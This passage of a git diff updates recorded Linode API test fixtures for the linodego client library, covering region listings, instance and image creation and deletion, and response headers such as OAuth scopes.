"Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:31 GMT + - Fri, 31 May 2024 17:09:40 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-3zb14h3crs00","root_pass":"zVg\u0026U2K:Ym]]40oG`eoBkI3btD{Av\\(I[6C9}W1|s7m?me[2$1H\u0026E9m^60NH6y48","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-313l0iwln6c9","root_pass":"FLxlu(0=0R$ALhX)'';n83t7AJ/s65AnsJ2}|6v8ss*3QdP)5^\\V99Ej1V\\k2|\u0026Am","image":"linode/debian9","firewall_id":501338,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 55007110, "label": "go-test-ins-3zb14h3crs00", "group": "", "status": + body: '{"id": 59541503, "label": "go-test-ins-313l0iwln6c9", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["172.233.227.132"], "ipv6": "1234::5678/128", - "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": + "type": "g6-nanode-1", "ipv4": ["45.79.125.26"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "17525a9b784c785585af0acdf8ccd47117e5532c", "has_user_data": false}' + "d80b575c03e15cd02b19144819366fbb2a318648", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "742" + - "764" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:31 GMT + - Fri, 31 May 2024 17:09:41 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -330,12 +381,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55007110/disks + url: https://api.linode.com/v4beta/linode/instances/59541503/disks method: GET response: - body: '{"data": [{"id": 108889104, "status": "not ready", "label": "Debian 9 Disk", + body: '{"data": [{"id": 117259526, "status": "not ready", "label": "Debian 9 Disk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": - "ext4", "size": 25088}, {"id": 108889105, "status": "not ready", "label": "512 + "ext4", "size": 25088}, {"id": 117259527, "status": "not ready", "label": "512 MB Swap Image", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "swap", "size": 512}], "page": 1, "pages": 1, "results": 2}' headers: @@ -360,7 +411,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:31 GMT + - Fri, 31 May 2024 17:09:41 GMT Pragma: - no-cache Strict-Transport-Security: @@ -376,7 +427,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -385,7 +439,7 @@ interactions: code: 200 duration: "" - request: - body: '{"disk_id":108889104,"label":"linodego-test-cloud-init","cloud_init":true}' + body: '{"disk_id":117259526,"label":"linodego-test-cloud-init","cloud_init":true}' form: {} headers: Accept: @@ -397,11 +451,11 @@ interactions: url: https://api.linode.com/v4beta/images method: POST response: - body: '{"id": "private/23851701", "label": "linodego-test-cloud-init", "description": + body: '{"id": "private/25476416", "label": "linodego-test-cloud-init", "description": "", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": - 25088, "created_by": "lgarber-dev", "type": "manual", "is_public": false, "deprecated": - false, "vendor": null, "expiry": null, "eol": null, "status": "creating", "capabilities": - ["cloud-init"]}' + 25088, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "creating", "capabilities": ["cloud-init"]}' headers: Access-Control-Allow-Credentials: - "true" @@ -418,13 +472,13 @@ interactions: Connection: - keep-alive Content-Length: - - "352" + - "363" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:32 GMT + - Fri, 31 May 2024 17:09:41 GMT Pragma: - no-cache Strict-Transport-Security: @@ -439,7 +493,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -457,7 +514,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private%2F23851701 + url: https://api.linode.com/v4beta/images/private%2F25476416 method: DELETE response: body: '{}' @@ -483,7 +540,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:32 GMT + - Fri, 31 May 2024 17:09:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -498,7 +555,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -516,7 +576,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/55007110 + url: https://api.linode.com/v4beta/linode/instances/59541503 method: DELETE response: body: '{}' @@ -542,7 +602,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:32 GMT + - Fri, 31 May 2024 17:09:42 GMT Pragma: - no-cache Strict-Transport-Security: @@ -557,7 +617,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestImage_CreateUpload.yaml b/test/integration/fixtures/TestImage_CreateUpload.yaml index 9532aa453..d7ec64017 100644 --- a/test/integration/fixtures/TestImage_CreateUpload.yaml +++ b/test/integration/fixtures/TestImage_CreateUpload.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 